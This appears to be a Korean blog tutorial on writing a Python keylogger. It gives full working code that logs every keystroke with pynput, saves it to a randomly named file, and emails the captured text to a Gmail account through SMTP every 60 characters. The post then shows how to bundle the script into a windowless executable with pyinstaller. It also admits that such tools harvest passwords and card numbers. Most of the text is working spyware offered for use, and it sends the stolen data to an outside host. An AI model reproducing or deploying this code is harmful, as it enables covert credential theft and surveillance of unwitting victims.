파이썬 키로거를 빌드하는 방법

키로거는 특정 컴퓨터의 키보드에 입력되는 각 키 입력을 모니터링하고 기록하는 데 사용되는 일종의 감시 기술입니다. 이 자습서에서는 Python에서 키로거를 작성하는 방법을 배웁니다.

왜 키로거가 유용한지 궁금하실 것입니다. 음, 해커가 이것을 비윤리적인 목적으로 사용하면 자격 증명(신용 카드 번호, 암호 등)을 포함하여 키보드에 입력하는 모든 정보를 수집합니다.

먼저 pynput이라는 모듈을 설치하고 터미널이나 명령 프롬프트로 이동하여 다음과 같이 작성해야 합니다.



pip3 install pynput



이 모듈을 사용하면 키보드를 완전히 제어하고, 전역 이벤트를 연결하고, 핫키를 등록하고, 키 누름을 시뮬레이션하는 등의 작업을 수행할 수 있습니다.

필요한 모듈을 가져오는 것으로 시작하겠습니다.




  import logging #for logging to a file
  import smtplib #for sending email using SMTP protocol (gmail)

  from pynput.keyboard import Key, Listener #for keylogs
  from random import randint #for generating random file name


이메일을 통해 주요 로그를 보고하려면 Gmail 계정을 설정하고 다음을 확인해야 합니다.
  • 덜 안전한 앱 액세스가 켜져 있습니다.
  • 2단계 인증이 꺼져 있습니다.

  • 로깅 파일을 생성합니다.




    output = '3ke' + str(randint(0, 10000)) + '.txt'
    
    log_dir = ""
    
    logging.basicConfig(filename=(log_dir + output), level=logging.DEBUG, format='%(asctime)s: %(message)s')
    
    


    키 입력을 수신하는 설정 이메일




    email = '[email protected]'
    password = 'password'
    server = smtplib.SMTP_SSL('smtp.gmail.com', 465)
    server.login(email, password)
    
    full_log = ""
    word = ""
    email_char_limit = 60 #set how many charcters to store before sending 
    
    


    누르고 저장하는 키를 추가하는 코드:




    def on_press(key, false=None):
        global word
        global full_log
        global email
        global email_char_limit
        logging.info(str(key))
    
        if key == Key.space or key == Key.enter:
            word += ' '
            full_log += word
            word = ''
            if len(full_log) >= email_char_limit:
                send_log()
                full_log = ''
        elif key == Key.shift_l or key == Key.shift_r:
            return
        elif key == Key.backspace:
            word = word[:-1]
        else:
            char = f'{key}'
            char = char[1:-1]
            word += char
    
        if key == Key.esc:
            return false 
    


    다음을 누르는 추가 키를 보내는 코드:




    def send_log():
        server.sendmail(
            email,
            email,
            full_log
        )
    
    with Listener(on_press=on_press) as listener:
        listener.join()
    


    pyinstaller를 사용하여 실행 파일로 변환하려면 다음을 수행하십시오.

    먼저 PYINSTALLER를 설치합니다.



    pip install pyinstaller



    그런 다음 cmd를 사용하여 기본 py 파일의 프로젝트 디렉토리로 이동하고 이 코드를 실행합니다.

    pyinstaller --onefile -w 'fileName.py' #-w for no console



    파이썬을 사용한 나의 첫 코딩

    좋은 웹페이지 즐겨찾기